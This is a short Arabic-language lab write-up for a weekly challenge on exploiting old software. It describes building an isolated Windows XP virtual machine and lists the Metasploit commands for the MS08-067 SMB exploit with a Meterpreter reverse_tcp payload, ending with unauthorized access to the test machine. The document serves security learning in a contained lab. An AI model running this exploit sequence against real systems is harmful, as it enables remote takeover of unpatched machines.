

تحدي الأسبوع: 7 استغلال الثغرات في البرامج القديمة

الخطوات التي قمت بها لإنجاز التحدي:

1. إعداد البيئة الافتراضية:

- قمت بتنصيب VirtualBox وأنشأت جهازًا افتراضيًا جديدًا.
- قمت بتنصيب نظام التشغيل Windows XP على الجهاز الافتراضي. حرصت على أن يكون الجهاز متصلًا بشبكة داخلية فقط (Internal Network) لتجنب أي خطر على الشبكة الحقيقية.

2. البحث عن الثغرة:

- بحثت في قاعدة بيانات CVE عن ثغرة معروفة في Windows XP. استخدمت موقع CVE Details للبحث عن التفاصيل اللازمة.
- اخترت ثغرة متوافقة مع النسخة المثبتة على الجهاز الافتراضي.

3. استخدام Metasploit:

- قمت بفتح Metasploit على جهازي الأساسي (أو على جهاز افتراضي آخر).
- استخدمت الأوامر التالية في Metasploit:
 - `search exploit/windows/smb/ms08_067_netapi`` للبحث عن استغلال معين.
 - `use exploit/windows/smb/ms08_067_netapi`` لاختيار الاستغلال.
 - `set RHOST <عنوان IP>` لتحديد عنوان IP للجهاز الافتراضي.
 - `set PAYLOAD windows/meterpreter/reverse_tcp`` لاختيار الـ Payload المناسب.
 - `exploit`` لتنفيذ الهجوم.

وبهذا حصلت على وصول غير مصرح به في الجهاز الافتراضي